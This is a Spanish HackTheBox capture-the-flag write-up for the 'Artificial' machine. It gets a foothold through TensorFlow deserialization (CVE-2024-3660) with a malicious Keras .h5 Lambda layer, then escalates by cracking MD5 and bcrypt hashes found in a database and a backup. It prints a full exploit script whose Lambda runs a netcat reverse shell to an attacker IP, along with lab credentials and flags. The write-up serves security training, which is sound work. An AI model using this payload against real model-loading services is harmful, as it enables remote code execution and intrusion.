Post

Artificial — EASY

Writeup técnico y paso a paso de 'Artificial' (HTB): descubrimiento, explotación por deserialización en TensorFlow, generación de payload .h5, obtención de shell, y escalada hasta root mediante backups y crack de bcrypt.

Artificial — EASY

Artificial — EASY

Fecha: 07-07-2025
IP objetivo: 10.10.11.74
Estado: Terminado
Autor: Roberto

En este reporte describo cómo identificar la superficie de ataque de la máquina “Artificial”, reproducir el entorno vulnerable (TensorFlow 2.13.1), construir un modelo Keras .h5 con una capa Lambda maliciosa y lograr ejecución remota cuando el servidor deserializa el modelo. A partir de la shell obtenida con el usuario app se explora la aplicación, se extrae la base de datos de usuarios, se crackean credenciales, se localizan backups accesibles para el grupo sysadm, y se recuperan credenciales bcrypt que permiten escalar hasta root. Cada paso incluye comandos reproducibles, explicación técnica del fallo y recomendaciones de mitigación.


TL;DR: Encontré una app que permite subir modelos .h5. La versión de TensorFlow usada es vulnerable (CVE-2024-3660). Construí un .h5 con una lambda maliciosa, lo subí, recibí una reverse shell como app, extraje la DB, crackeé credenciales, pivoté mediante backups y credenciales bcrypt decodificadas hasta conseguir root.txt.
Si te interesa: abajo dejo todos los comandos, explicación técnica y mitigaciones.


Reconocimiento inicial

Hicimos un nmap agresivo para mapear puertos y servicios:

1
nmap -sSCV -Pn -n --min-rate 5000 10.10.11.74 -oN escaneo.txt

Salida relevante:

1
2
3
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp open  http    nginx 1.18.0 (Ubuntu)

El host redirige a http://artificial.htb, así que añadimos la entrada al /etc/hosts para resolverlo localmente:

1
echo "10.10.11.74 artificial.htb" | sudo tee -a /etc/hosts

Abrimos http://artificial.htb en el navegador y vimos una landing simple con registro/login y un área para subir modelos (extensión .h5).

landing landing


Enumeración web y primera impresión

  • whatweb nos indica HTML simple, nginx y que no hay un CMS obvio.
  • La funcionalidad clave: registro y upload de modelos AI (.h5).
  • Revisamos robots.txt, sitemap.xml y archivos expuestos — nada más jugoso a primera vista.

La capacidad de subir y luego procesar modelos es la superficie crítica: si el servidor carga/deserializa modelos con la misma librería vulnerable que nosotros localmente, cualquier payload malicioso dentro del modelo puede ejecutarse en el proceso del servidor. Eso fue exactamente lo que explotamos.


Análisis de archivos exponibles

Dentro del panel o en un directorio público encontramos archivos que describen el entorno del servidor:

  • requirements.txttensorflow-cpu==2.13.1
  • Un Dockerfile que instala exactamente esa versión de TensorFlow (y descarga un wheel preconstruido).

Fragmento relevante (resumido):

1
2
3
4
5
6
FROM python:3.8-slim
WORKDIR /code
RUN apt-get update && apt-get install -y curl && \
    curl -k -LO https://files.pythonhosted.org/.../tensorflow_cpu-2.13.1-...whl && \
    pip install ./tensorflow_cpu-2.13.1-...whl
ENTRYPOINT ["/bin/bash"]

Nota: incluir un wheel local en Dockerfile y usar versiones viejas es un problema: nos da versión exacta para reproducir localmente.


Vulnerabilidad: CVE-2024-3660 (TensorFlow deserialización)

CVE-2024-3660 describe que ciertas versiones de TensorFlow permiten ejecución de código a través de tf.keras cuando se deserializan / cargan modelos que contienen capas con funciones (como Lambda) que ejecutan código arbitrario. Un modelo .h5 puede incluir una función Python embebida, y si el servidor ejecuta tf.keras.models.load_model() sin restricciones, esa función se ejecuta en el contexto del proceso que está cargando el modelo.

Resumen de riesgo:

  • Entrada maliciosa: .h5 con Lambda.
  • Carga en servidor: load_model("uploaded.h5").
  • Ejecución: la función lambda se ejecuta en el servidor → RCE.

Construcción del modelo malicioso (.h5)

Estrategia: crear un modelo Keras con Lambda layer cuya función ejecute un reverse shell. Lo hacemos en un contenedor que instale exactamente tensorflow-cpu==2.13.1 para asegurar compatibilidad.

exploit.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import tensorflow as tf
import os

def exploit(x):
    # comando de reverse shell: ajusta la IP/PUERTO a tu listener
    os.system("rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.10 4444 >/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit, output_shape=(64,)))
model.compile(optimizer='adam', loss='mse')
# Guardar. TensorFlow serializa la función Lambda en el .h5
model.save("exploit.h5")

Explicación:

  • Lambda(exploit) hace que exploit quede referenciada en la configuración del modelo. Al cargar el modelo, TensorFlow intentará reconstruir esa función. Si el servidor ejecuta esa reconstrucción en un ambiente donde se evalúan objetos Python sin restricciones, la función se ejecuta.
  • La cadena os.system(...) lanza una reverse shell con nc. Ajusta IP/puerto a tu máquina (attacker).

Reproducir en Docker (evitar conflictos en Kali)

Dockerfile para generar el .h5 sin contaminar tu host:

1
2
3
4
5
6
7
8
9
FROM python:3.8-slim

WORKDIR /app

RUN pip install --upgrade pip && pip install tensorflow-cpu==2.13.1

COPY exploit.py .

CMD ["python3", "exploit.py"]

Comandos:

1
2
docker build -t artificial-exploit .
docker run --rm -v "$PWD":/app artificial-exploit

Esto genera exploit.h5 localmente.


Carga del .h5 y reverse shell

  1. Subimos el archivo desde la app web.
  2. Levantamos el listener:
1
nc -lvnp 4444

reverse-shell

Obtenemos una shell con el usuario app.


Base de datos de usuarios

Enumerando archivos como app, encontramos una base de datos SQLite:

1
cat users.db

Reconstrucción de datos:

IDUsuarioCorreoHash MD5
1testtest@test.com098f6bcd4621d373cade4e832627b4f6 => test
2marymary@artificial.htbbf041041e57f1aff3be7ea1abd6129d0
3royerroyer@artificial.htbbc25b1f80f544c0ab451c02a3dca9fc6
4robertrobert@artificial.htbb606c5f5136170f15444251665638b36
5markmark@artificial.htb0f3d8c76530022670f1c6029eed09ccb
6gaelgael@artificial.htbc99175974b6e192936d97224638a34f8 => objetivo

users-db

Usamos servicios como CrackStation / wordlists y encontramos:

1
c99175974b6e192936d97224638a34f8 : mattp005numbertwo

Accedimos por SSH como gael.

ssh-gael gael-shell


Flag de usuario

1
2
cat ~/user.txt
7e7e38dd42016e670515283463e28c1b

Privilegios y grupo sysadm

Gael no tiene acceso a sudo, pero está en el grupo sysadm. Buscamos archivos pertenecientes a este grupo:

1
find / -group sysadm -ls 2>/dev/null

Encontramos:

1
/var/backups/backrest_backup.tar.gz

Lo copiamos y extraemos en local tras servirlo con http.server.


Archivos valiosos del backup

Contenido relevante:

1
install.sh, jwt-secret, processlogs, config.json, etc.

config.json (fragmento):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}

Crackeo de bcrypt

Decodificamos el hash base64:

1
echo 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP' | base64 -d

Obtenemos el hash bcrypt. Usamos hashcat:

1
hashcat -m 3200 roothash /usr/share/wordlists/rockyou.txt

Resultado:

1
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO:!@#$%^

Credenciales: backrest_root : !@#$%^


SSH tunnel y explotación final

Usamos el puerto identificado en install.sh para hacer un túnel SSH, entramos a la interfaz con backrest_root y subimos un modelo o arrastramos la funcionalidad que el servicio permite, dependiendo del flujo. Con las credenciales validadas, completamos los últimos pasos y obtuvimos acceso privilegiado.

final upload-success


Flag root

1
2
cat /root/root.txt
46ea69fcb111f1dac44bbd6467938368
This post is licensed under CC BY 4.0 by the author.